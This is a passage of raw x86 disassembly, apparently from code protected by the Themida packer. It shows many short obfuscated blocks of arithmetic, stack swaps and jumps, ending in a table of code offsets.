; ---------------------------------------------------------------------------


loc_55D6CC:				; CODE XREF: Themida_:005560BDj
		mov	[esp], ax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55D6D5:				; CODE XREF: Themida_:00556B83j
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55448B
; ---------------------------------------------------------------------------


loc_55D6E1:				; CODE XREF: Themida_:00556ED6j
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_559D70
; ---------------------------------------------------------------------------


loc_55D6F4:				; CODE XREF: Themida_:0055636Fj
		push	eax
		mov	eax, 687658Fh
		push	edi
		mov	edi, 5DD2790Fh
		add	edi, 8FECAD2Dh
		sub	eax, edi
		jmp	loc_559E7A
; ---------------------------------------------------------------------------


loc_55D70D:				; CODE XREF: Themida_:0055A278j
		add	edi, 4
		push	eax
		mov	eax, 782642DFh
		add	eax, 0F60C9Dh
		sub	eax, 791C4F78h
		add	edi, eax
		jmp	loc_557EC4
; ---------------------------------------------------------------------------


loc_55D72A:				; CODE XREF: Themida_:0055631Bj
		push	ebp
		jmp	loc_55C014
; ---------------------------------------------------------------------------


loc_55D730:				; CODE XREF: Themida_:00558B51j
		pop	eax
		sub	al, 0ADh
		add	al, bl
		add	al, 0ADh
		pop	ebx
		push	1E2Bh
		mov	[esp], ecx
		mov	ch, 40h
		sub	al, 45h
		sub	al, ch
		jmp	loc_557D61
; ---------------------------------------------------------------------------


loc_55D74B:				; CODE XREF: Themida_:0055A2A9j
		sub	edi, 4B5300A7h
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	edi, 1C21415Eh
		add	edi, ebx
		add	edi, 1C21415Eh
		jmp	loc_5536EC
; ---------------------------------------------------------------------------


loc_55D77A:				; CODE XREF: Themida_:0055208Cj
		mov	edi, [esp]
		jmp	loc_557B4B
; ---------------------------------------------------------------------------


loc_55D782:				; CODE XREF: Themida_:0055A054j
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5531B4
; ---------------------------------------------------------------------------


loc_55D794:				; CODE XREF: Themida_:0055B84Fj
		pop	edx
		push	esi
		push	4
		mov	esi, [esp]
		jmp	loc_55CF0E
; ---------------------------------------------------------------------------


loc_55D7A3:				; CODE XREF: Themida_:00559B45j
		mov	ecx, 76729F5h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5536B3
; ---------------------------------------------------------------------------


loc_55D7B0:				; CODE XREF: Themida_:00558FF2j
		dec	ecx
		push	ebx
		push	esi
		mov	esi, 241B76BFh
		mov	ebx, esi
		jmp	loc_552AB4
; ---------------------------------------------------------------------------


loc_55D7BF:				; CODE XREF: Themida_:00553787j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5526AC
; ---------------------------------------------------------------------------


loc_55D7CB:				; CODE XREF: Themida_:00559E48j
		not	ebx
		xchg	ebx, edi
		shr	edi, 2
		add	edi, 3CB8D24Dh
		sub	ebp, edi
		jmp	loc_556CE9
; ---------------------------------------------------------------------------


loc_55D7DF:				; CODE XREF: Themida_:00557847j
		or	ecx, esi
		pop	esi
		sub	ecx, 0FFFFFFFFh
		jmp	loc_5531FE
; ---------------------------------------------------------------------------


loc_55D7EA:				; CODE XREF: Themida_:00551D40j
		xor	eax, ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_55222B
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_55D845
; ---------------------------------------------------------------------------


loc_55D805:				; CODE XREF: Themida_:00559546j
		push	edi
		push	75781FAAh
		pop	edi
		not	edi
		or	edi, 41FB68C2h
		add	edi, 2B016AB4h
		jmp	loc_55D02F
; ---------------------------------------------------------------------------


loc_55D81F:				; CODE XREF: Themida_:0055257Bj
		not	ecx
		push	edx
		mov	edx, 47AE6084h
		jmp	loc_556EFF
; ---------------------------------------------------------------------------


loc_55D82C:				; CODE XREF: Themida_:0055A9EFj
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		push	ebx
		jmp	loc_55396D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_55A153
; ---------------------------------------------------------------------------


loc_55D845:				; CODE XREF: Themida_:0055D800j
		push	ecx
		push	esp
		jmp	loc_558A82
; ---------------------------------------------------------------------------


loc_55D84C:				; CODE XREF: Themida_:00553130j
		sub	edi, eax
		push	dword ptr [esp]
		jmp	loc_5548FC
; ---------------------------------------------------------------------------


loc_55D856:				; CODE XREF: Themida_:0055B6D5j
		pop	esi
		jmp	loc_557DC0
; ---------------------------------------------------------------------------


loc_55D85C:				; CODE XREF: Themida_:0055BC70j
		push	edx
		mov	edx, 4
		add	edi, 27120096h
		sub	edi, 74936E28h
		add	edi, edx
		push	esi
		mov	esi, 61F74C7Ah
		push	ebp
		mov	ebp, 5F4158C1h
		or	esi, ebp
		jmp	loc_55D127
; ---------------------------------------------------------------------------


loc_55D883:				; CODE XREF: Themida_:00552B13j
		mov	ebx, 3F484241h
		xchg	esi, ebx
		neg	esi
		jmp	loc_559123
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55771A
; ---------------------------------------------------------------------------


loc_55D8A3:				; CODE XREF: Themida_:00553D0Aj
		xor	eax, 55F15840h
		sub	eax, 75F1180Ch
		mov	ebx, eax
		pop	eax
		sub	esi, ebx
		pop	ebx
		jmp	loc_55AC38
; ---------------------------------------------------------------------------


loc_55D8B8:				; CODE XREF: Themida_:005570DBj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_55B6F7
; ---------------------------------------------------------------------------


loc_55D8CA:				; CODE XREF: Themida_:005536D6j
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	6CB2329Ah
		pop	edx
		sub	ebx, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55CD2D
; ---------------------------------------------------------------------------


loc_55D903:				; CODE XREF: Themida_:0055A399j
		mov	ebp, [esp]
		push	esi
		jmp	loc_55505C
; ---------------------------------------------------------------------------


loc_55D90C:				; CODE XREF: Themida_:00552AAFj
		mov	ebp, 5DD82277h
		jmp	loc_55AF2D
; ---------------------------------------------------------------------------


loc_55D916:				; CODE XREF: Themida_:00556B29j
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_553C4E
; ---------------------------------------------------------------------------


loc_55D925:				; CODE XREF: Themida_:00552CA3j
		dec	edi
		push	esi
		mov	esi, 2B82F3Ah
		jmp	loc_559A73
; ---------------------------------------------------------------------------


loc_55D931:				; CODE XREF: Themida_:005575EDj
		push	edi
		jmp	loc_55242B
; ---------------------------------------------------------------------------


loc_55D937:				; CODE XREF: Themida_:0055D5DAj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557084
; ---------------------------------------------------------------------------


loc_55D945:				; CODE XREF: Themida_:0055DC4Cj
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55BE4F
; ---------------------------------------------------------------------------


loc_55D955:				; CODE XREF: Themida_:0055C0E0j
		mov	ebp, 2
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_5577F3
; ---------------------------------------------------------------------------


loc_55D96C:				; CODE XREF: Themida_:0055D19Ej
		mov	ah, 0FCh
		sub	bh, 48h
		jmp	loc_55BA14
; ---------------------------------------------------------------------------


loc_55D976:				; CODE XREF: Themida_:00555785j
		push	dword ptr [eax]
		jmp	loc_557963
; ---------------------------------------------------------------------------


loc_55D97D:				; CODE XREF: Themida_:0055C1BFj
		pop	edx
		sub	ebp, 2DF57C25h
		add	ebp, esi
		push	esi
		jmp	loc_55D501
; ---------------------------------------------------------------------------


loc_55D98C:				; CODE XREF: Themida_:00552CE2j
		sub	ebx, 578510Fh
		sub	ebx, 5EA7FB5h
		jmp	loc_5555DC
; ---------------------------------------------------------------------------


loc_55D99D:				; CODE XREF: Themida_:00557751j
		sub	edi, 687D3525h
		sub	edi, 1
		shl	edi, 5
		sub	edi, 5F62CFA4h
		jmp	loc_559C01
; ---------------------------------------------------------------------------


loc_55D9B4:				; CODE XREF: Themida_:0055DCAAj
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	edi, 3A87580Ah
		add	edi, ebx
		add	edi, 3A87580Ah
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5FE122ABh
		push	ebp
		jmp	loc_55CB40
; ---------------------------------------------------------------------------


loc_55D9F6:				; CODE XREF: Themida_:0055AEC4j
		pop	eax
		sub	edi, 44895278h
		add	edi, ebx
		add	edi, 44895278h
		pop	ebx
		mov	ebx, edi
		pop	edi
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_55579E
; ---------------------------------------------------------------------------


loc_55DA13:				; CODE XREF: Themida_:005528DAj
		mov	[esp], ecx
		jmp	loc_5583BF
; ---------------------------------------------------------------------------


loc_55DA1B:				; CODE XREF: Themida_:00558E82j
		add	edx, 42510DD2h
		push	ebx
		push	eax
		mov	eax, 0DA47407h
		shr	eax, 1
		dec	eax
		shl	eax, 4
		and	eax, 7499490Eh
		not	eax
		sub	eax, 9BFEFFFFh
		mov	ebx, eax
		pop	eax
		push	ecx
		push	eax
		mov	eax, 66081878h
		mov	ecx, eax
		pop	eax
		jmp	loc_55C805
; ---------------------------------------------------------------------------


loc_55DA4C:				; CODE XREF: Themida_:0055B8A2j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_556183
; ---------------------------------------------------------------------------


loc_55DA57:				; CODE XREF: Themida_:0055471Fj
		not	edi
		xor	edi, 8384B465h
		add	eax, 5A5255AAh
		add	eax, 37554E00h
		sub	eax, edi
		sub	eax, 37554E00h
		jmp	loc_559FB7
; ---------------------------------------------------------------------------


loc_55DA75:				; CODE XREF: Themida_:00559E75j
		pop	eax
		add	esi, 423245DFh
		sub	esi, 2BE18E5Bh
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_5535A9
; ---------------------------------------------------------------------------


loc_55DA8C:				; CODE XREF: Themida_:00552F95j
		add	esi, 4
		jmp	loc_5595A1
; ---------------------------------------------------------------------------


loc_55DA97:				; CODE XREF: Themida_:00551A51j
		pop	esp
		add	ebx, 2D641BDCh
		jmp	loc_5523DA
; ---------------------------------------------------------------------------


loc_55DAA3:				; CODE XREF: Themida_:0055708Dj
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55DAAC:				; CODE XREF: Themida_:0055608Bj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		std
		jmp	loc_558F77
; ---------------------------------------------------------------------------


loc_55DAB9:				; CODE XREF: Themida_:0055D06Bj
		mov	ebp, 52CD5AA3h
		jmp	loc_55B94F
; ---------------------------------------------------------------------------


loc_55DAC3:				; CODE XREF: Themida_:00555B90j
		push	1000h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55BE72
; ---------------------------------------------------------------------------


loc_55DAEB:				; CODE XREF: Themida_:0055ADBBj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5533E5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55A28C
; ---------------------------------------------------------------------------


loc_55DB07:				; CODE XREF: Themida_:00556ECCj
		add	edi, 25694091h
		mov	eax, [esp]
		add	esp, 4
		add	edi, 2
		push	edi
		jmp	loc_55AFD2
; ---------------------------------------------------------------------------


loc_55DB1F:				; CODE XREF: Themida_:0055272Dj
		mov	edi, esp
		jmp	loc_5563E9
; ---------------------------------------------------------------------------


loc_55DB26:				; CODE XREF: Themida_:0055C131j
		add	dword ptr [esp], 4
		jmp	loc_552C64
; ---------------------------------------------------------------------------


loc_55DB32:				; CODE XREF: Themida_:00558C94j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55AF98
; ---------------------------------------------------------------------------


loc_55DB3B:				; CODE XREF: Themida_:0055856Dj
		mov	esp, [esp]
		jmp	loc_55CEA8
; ---------------------------------------------------------------------------


loc_55DB43:				; CODE XREF: Themida_:00551BA7j
		sub	ch, 0FFh
		push	351Fh
		mov	[esp], edx
		push	eax
		mov	al, 88h
		xchg	dl, al
		not	dl
		xchg	dl, al
		shl	al, 3
		sub	al, 1
		mov	dl, al
		jmp	loc_554C58
; ---------------------------------------------------------------------------


loc_55DB63:				; CODE XREF: Themida_:00557CE2j
		pop	ecx
		push	bx
		mov	bl, 21h
		sub	dh, bl
		pop	bx
		xor	cl, dh
		pop	edx
		jmp	loc_553BB1
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55DB7B:				; CODE XREF: Themida_:0055A287j
		shr	ebp, 5
		push	esi
		mov	esi, 30714290h
		sub	ebp, esi
		pop	esi
		push	edi
		push	ecx
		push	24743739h
		pop	ecx
		or	ecx, 29412A7Ah
		add	ecx, 73DA3F92h
		xor	ecx, 97BB78DCh
		mov	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		push	edx
		mov	edx, 7E0108BAh
		add	edx, 688535C8h
		sub	edx, 6FC53EFDh
		jmp	loc_55A7D8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55BB3E
; ---------------------------------------------------------------------------


loc_55DBC7:				; CODE XREF: Themida_:00557704j
		mov	ebp, 415A228Fh
		add	ebp, 506C086Bh
		push	ebp
		neg	dword ptr [esp]
		jmp	loc_55C4A6
; ---------------------------------------------------------------------------


loc_55DBDB:				; CODE XREF: Themida_:0055A5F6j
		add	eax, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 676B50E0h
		jmp	loc_5577A0
; ---------------------------------------------------------------------------


loc_55DBF4:				; CODE XREF: Themida_:00553227j
		add	edi, 2
		jmp	loc_55C78C
; ---------------------------------------------------------------------------


loc_55DBFF:				; CODE XREF: Themida_:00555414j
		pop	eax
		xor	dh, cl
		pop	ecx
		xor	al, dh
		jmp	loc_559A9E
; ---------------------------------------------------------------------------


loc_55DC0A:				; CODE XREF: Themida_:0055484Ej
		mov	eax, 8940677h
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edx, edi
		sub	edx, 8940677h
		push	esi
		jmp	loc_55BE45
; ---------------------------------------------------------------------------


loc_55DC26:				; CODE XREF: Themida_:005562C5j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	224Ah
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_55863F
; ---------------------------------------------------------------------------


loc_55DC3F:				; CODE XREF: Themida_:00553F8Aj
		add	eax, 47B21D8Ah
		add	eax, ebp
		push	esi
		mov	esi, 47B21D8Ah
		jmp	loc_55D945
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		push	ebp
		jmp	loc_556133
; ---------------------------------------------------------------------------


loc_55DC5E:				; CODE XREF: Themida_:0055820Cj
		push	ebp
		mov	ebp, 34D67E84h
		shl	ebp, 5
		or	ebp, 67A41B4Dh
		inc	ebp
		jmp	loc_55C510
; ---------------------------------------------------------------------------


loc_55DC73:				; CODE XREF: Themida_:005522F0j
		sub	eax, 7DF60F18h
		add	eax, esi
		add	eax, 7DF60F18h
		pop	esi
		jmp	loc_556BBA
; ---------------------------------------------------------------------------


loc_55DC85:				; CODE XREF: Themida_:00553F17j
		push	eax
		jmp	loc_553A57
; ---------------------------------------------------------------------------


loc_55DC8B:				; CODE XREF: Themida_:0055A547j
		pop	edx
		inc	ch
		jmp	loc_55BEB1
; ---------------------------------------------------------------------------


loc_55DC93:				; CODE XREF: Themida_:0055617Ej
		xor	esi, [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55DCA1:				; CODE XREF: Themida_:00557D45j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55D9B4
; ---------------------------------------------------------------------------


loc_55DCAF:				; CODE XREF: Themida_:0055684Aj
		push	ecx
		jmp	loc_55A581
; ---------------------------------------------------------------------------


loc_55DCB5:				; CODE XREF: Themida_:00558F5Dj
		push	esi
		push	ebx
		mov	ebx, 6D561BF5h
		jmp	loc_555867
; ---------------------------------------------------------------------------


loc_55DCC1:				; CODE XREF: Themida_:0055C465j
		mov	dl, ch
		pop	ecx
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		sub	al, 64h
		add	al, bl
		add	al, 64h
		push	ebx
		mov	bh, 63h
		push	ecx
		mov	ch, 52h
		dec	ch
		xor	ch, 0C4h
		add	ch, 0F3h
		xor	bh, ch
		jmp	loc_551E38
; ---------------------------------------------------------------------------
		lodsw
		add	ax, 3D54h
		sub	ax, bx
		push	ebp
		jmp	loc_558E21
; ---------------------------------------------------------------------------


loc_55DCF9:				; CODE XREF: Themida_:00556646j
		dec	edi
		push	5541h
		mov	[esp], ebp
		mov	ebp, 74553A0Bh
		or	edi, ebp
		pop	ebp
		add	edi, 2A4602E8h
		jmp	loc_55B936
; ---------------------------------------------------------------------------


loc_55DD15:				; CODE XREF: Themida_:00552EF0j
		add	ebp, 1
		dec	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xor	ebp, 8310FEB9h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_5552A7
; ---------------------------------------------------------------------------


loc_55DD35:				; CODE XREF: Themida_:0055B780j
		pop	edx
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		jmp	loc_55553E
; ---------------------------------------------------------------------------


loc_55DD44:				; CODE XREF: Themida_:00556EEBj
		add	edi, 0ED0CEFAAh
		add	ebx, edi
		jmp	loc_5570AE
; ---------------------------------------------------------------------------


loc_55DD51:				; CODE XREF: Themida_:00553EC2j
		push	eax
		jmp	loc_55C68E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55DD66:				; CODE XREF: Themida_:00554A69j
		pop	ebx
		push	bx
		jmp	loc_552654
; ---------------------------------------------------------------------------


loc_55DD6E:				; CODE XREF: Themida_:00559CD6j
		mov	ebp, eax
		jmp	loc_5543CD
; ---------------------------------------------------------------------------


loc_55DD75:				; CODE XREF: Themida_:0055DE7Ej
		mov	edi, 356A6095h
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55572B
; ---------------------------------------------------------------------------


loc_55DD8A:				; CODE XREF: Themida_:00555F32j
		mov	[esp], ebx
		jmp	loc_5526CF
; ---------------------------------------------------------------------------


loc_55DD92:				; CODE XREF: Themida_:00555FABj
		mov	edx, [esp]
		jmp	loc_55AFEA
; ---------------------------------------------------------------------------


loc_55DD9A:				; CODE XREF: Themida_:00555274j
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 38791D89h
		neg	eax
		jmp	loc_552469
; ---------------------------------------------------------------------------


loc_55DDBB:				; CODE XREF: Themida_:00555BD8j
		add	ebx, 33673F9Bh
		dec	ebx
		add	ebx, 0D25A7B40h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_555BAF
; ---------------------------------------------------------------------------


loc_55DDD0:				; CODE XREF: Themida_:00553EF6j
		pop	ecx
		jmp	loc_553BFA
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55BFDE
; ---------------------------------------------------------------------------


loc_55DDEB:				; CODE XREF: Themida_:0055B745j
		push	ebx
		mov	ebx, 779A24A6h
		jmp	loc_55A8C4
; ---------------------------------------------------------------------------


loc_55DDF6:				; CODE XREF: Themida_:005552EFj
		pop	edx
		jmp	loc_55B0BF
; ---------------------------------------------------------------------------


loc_55DDFC:				; CODE XREF: Themida_:00553FEAj
		add	edi, ecx
		add	edi, 50697339h
		pop	ecx
		push	edx
		mov	edx, 4
		jmp	loc_555B22
; ---------------------------------------------------------------------------


loc_55DE10:				; CODE XREF: Themida_:005527BBj
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_551BF2
; ---------------------------------------------------------------------------


loc_55DE1E:				; CODE XREF: Themida_:0055326Dj
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	7CAh
		mov	[esp], edi
		push	ecx
		jmp	loc_5562CA
; ---------------------------------------------------------------------------


loc_55DE33:				; CODE XREF: Themida_:005543E0j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 1
		sub	esi, ebx
		pop	ebx
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_55C884
; ---------------------------------------------------------------------------


loc_55DE54:				; CODE XREF: Themida_:0055A7EEj
		xchg	esi, [esp]
		jmp	loc_558DB8
; ---------------------------------------------------------------------------


loc_55DE5C:				; CODE XREF: Themida_:00558A97j
		add	ebx, 1
		jmp	loc_556E7D
; ---------------------------------------------------------------------------


loc_55DE67:				; CODE XREF: Themida_:005549D8j
		push	eax
		mov	eax, 7C9E699Ch
		add	ebx, eax
		jmp	loc_55CD16
; ---------------------------------------------------------------------------


loc_55DE74:				; CODE XREF: Themida_:00553383j
		sub	ebx, eax
		pop	eax
		push	edi
		push	eax
		mov	eax, 13204F31h
		jmp	loc_55DD75
; ---------------------------------------------------------------------------


loc_55DE83:				; CODE XREF: Themida_:0055858Aj
		mov	esp, [esp]
		jmp	loc_558C21
; ---------------------------------------------------------------------------


loc_55DE8B:				; CODE XREF: Themida_:00558A75j
		add	bl, 15h
		push	ax
		mov	ah, 0CDh
		jmp	loc_557AB8
; ---------------------------------------------------------------------------


loc_55DE97:				; CODE XREF: Themida_:0055CE6Cj
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_552013
; ---------------------------------------------------------------------------


loc_55DEC1:				; CODE XREF: Themida_:005549E5j
		pop	ebx
		jmp	loc_55728A
; ---------------------------------------------------------------------------


loc_55DEC7:				; CODE XREF: Themida_:0055C7DEj
		not	ebp
		push	esi
		mov	esi, 674821FBh
		jmp	loc_558048
; ---------------------------------------------------------------------------


loc_55DED4:				; CODE XREF: Themida_:00558196j
		pop	eax
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_559C90
; ---------------------------------------------------------------------------


loc_55DEE9:				; CODE XREF: Themida_:005578ABj
		pop	edx
		push	dx
		jmp	loc_555069
; ---------------------------------------------------------------------------


loc_55DEF1:				; CODE XREF: Themida_:0055B601j
		cmp	ecx, eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55DEF9:				; CODE XREF: Themida_:005533CDj
		pop	ebp
		jmp	loc_55B66B
; ---------------------------------------------------------------------------


loc_55DEFF:				; CODE XREF: Themida_:00553C22j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55A37C
; ---------------------------------------------------------------------------


loc_55DF0A:				; CODE XREF: Themida_:0055A2C1j
		sub	eax, 16C1CA3Fh
		mov	esi, eax
		pop	eax
		neg	esi
		jmp	loc_55C1B7
; ---------------------------------------------------------------------------


loc_55DF19:				; CODE XREF: Themida_:0055A61Ej
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	32F0h
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		jmp	loc_558227
; ---------------------------------------------------------------------------


loc_55DF33:				; CODE XREF: Themida_:00553578j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55BFBE
; ---------------------------------------------------------------------------


loc_55DF3C:				; CODE XREF: Themida_:00556CEBj
		mov	edx, 3C020138h
		jmp	loc_558C29
; ---------------------------------------------------------------------------


loc_55DF46:				; CODE XREF: Themida_:0055C766j
		add	esp, 4
		jmp	loc_55C136
; ---------------------------------------------------------------------------


loc_55DF4E:				; CODE XREF: Themida_:005563C4j
		pop	ebp
		not	esi
		and	esi, 1AD83A8Bh
		xor	esi, 5E5714D7h
		neg	esi
		push	eax
		mov	eax, 6659629Ch
		shr	eax, 2
		jmp	loc_555738
; ---------------------------------------------------------------------------


loc_55DF6D:				; CODE XREF: Themida_:00556586j
		pop	edx
		and	ebp, 6AA67C6Bh
		xor	ebp, 651C7172h
		mov	edi, ebp
		pop	ebp
		shr	edi, 6
		add	edi, 0FEC916BDh
		add	esi, 5BF487Dh
		add	esi, edi
		sub	esi, 5BF487Dh
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55ABE4
; ---------------------------------------------------------------------------


loc_55DFA8:				; CODE XREF: Themida_:00551D26j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55D588
; ---------------------------------------------------------------------------


loc_55DFB6:				; CODE XREF: Themida_:0055C8C9j
		shr	ecx, 4
		sub	ecx, 92D1E77Eh
		and	esi, ecx
		pop	ecx
		shl	esi, 8
		add	esi, 3853FF36h
		add	esi, 0BF9BA4CEh
		sub	ecx, 5F553858h
		jmp	loc_55819B
; ---------------------------------------------------------------------------


loc_55DFDC:				; CODE XREF: Themida_:00553AAEj
		pop	ebp
		jmp	loc_55293D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		push	ebp
		mov	ebp, 1AE761AFh
		add	ebp, 43F17996h
		add	ebp, 20D8530Fh
		neg	ebp
		xor	ebp, 69355DECh
		not	ebp
		jmp	loc_55A5E2
; ---------------------------------------------------------------------------


loc_55E015:				; CODE XREF: Themida_:0055A134j
		push	5C43h
		mov	[esp], ecx
		mov	ch, 58h
		jmp	loc_55AF59
; ---------------------------------------------------------------------------


loc_55E024:				; CODE XREF: Themida_:005555BFj
		push	esi
		jmp	loc_55C04D
; ---------------------------------------------------------------------------


loc_55E02A:				; CODE XREF: Themida_:0055AF72j
		pop	edi
		add	dword ptr [esp+8], 210C55C3h
		add	[esp+8], eax
		jmp	loc_559195
; ---------------------------------------------------------------------------


loc_55E03C:				; CODE XREF: Themida_:0055611Bj
		mov	eax, 3EC05B95h
		sub	ecx, eax
		pop	eax
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5566CD
; ---------------------------------------------------------------------------


loc_55E053:				; CODE XREF: Themida_:00552360j
		mov	ecx, 0AC622765h
		add	ebx, ecx
		pop	ecx
		add	esi, ebx
		pop	ebx
		jmp	loc_5573C2
; ---------------------------------------------------------------------------


loc_55E063:				; CODE XREF: Themida_:0055B5DFj
		mov	edi, 1F272C9Bh
		add	ebx, 3FF7286Ch
		sub	ebx, 447A2456h
		sub	ebx, edi
		add	ebx, 447A2456h
		push	ecx
		mov	ecx, 3FF7286Ch
		sub	ebx, ecx
		jmp	loc_55A663
; ---------------------------------------------------------------------------


loc_55E089:				; CODE XREF: Themida_:0055B628j
		xor	esi, edx
		pop	edx
		jmp	loc_55BAD1
; ---------------------------------------------------------------------------


loc_55E091:				; CODE XREF: Themida_:00553C0Bj
		xor	eax, 17FD7FEBh
		pop	edx
		jmp	loc_55BE0A
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		dd 0D88Bh, 1CE9h, 5B837Ch, 5B8EE7h, 0FA439BC6h,	207h, 2
		dd 1, 0
		dd 0FA439BC6h, 5 dup(0)
		dd offset loc_56A778
		dd offset loc_562D42
		dd offset loc_562044
		db 0C3h	; Ã
		db 73h,	56h, 0
		dd offset loc_571CFF
		dd offset loc_571A6A
		dd offset loc_55FD97
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0A9h, 56h, 0
		dd offset loc_56AB8F
		dd offset loc_56B0A6
		dd offset loc_5723FA
		dd offset loc_566981
		dd offset loc_572A82
		dd offset loc_56B270
		dd offset loc_56A3E0
		dd offset loc_568CC8
		dd offset loc_56CA7C
		dd offset loc_572049
		dd offset loc_56BDAF
		dd offset loc_560C60
		dd offset loc_56D1E6
		dd offset loc_56EB02
		dd offset loc_565085
		dd offset sub_56207C
		dd offset sub_55F0B8
		dd offset sub_55F58E
		dd offset loc_5701E1
		dd offset sub_5601F7
		dd offset loc_567CED
		dd offset loc_564231
		dd offset loc_565DC4
		dd offset loc_55EE0C
		dd offset loc_560F9F
		dd offset loc_563D55
		dd offset sub_55EC81
		dd offset loc_56EDC7
		dd offset loc_567071
		dd offset sub_5613EF
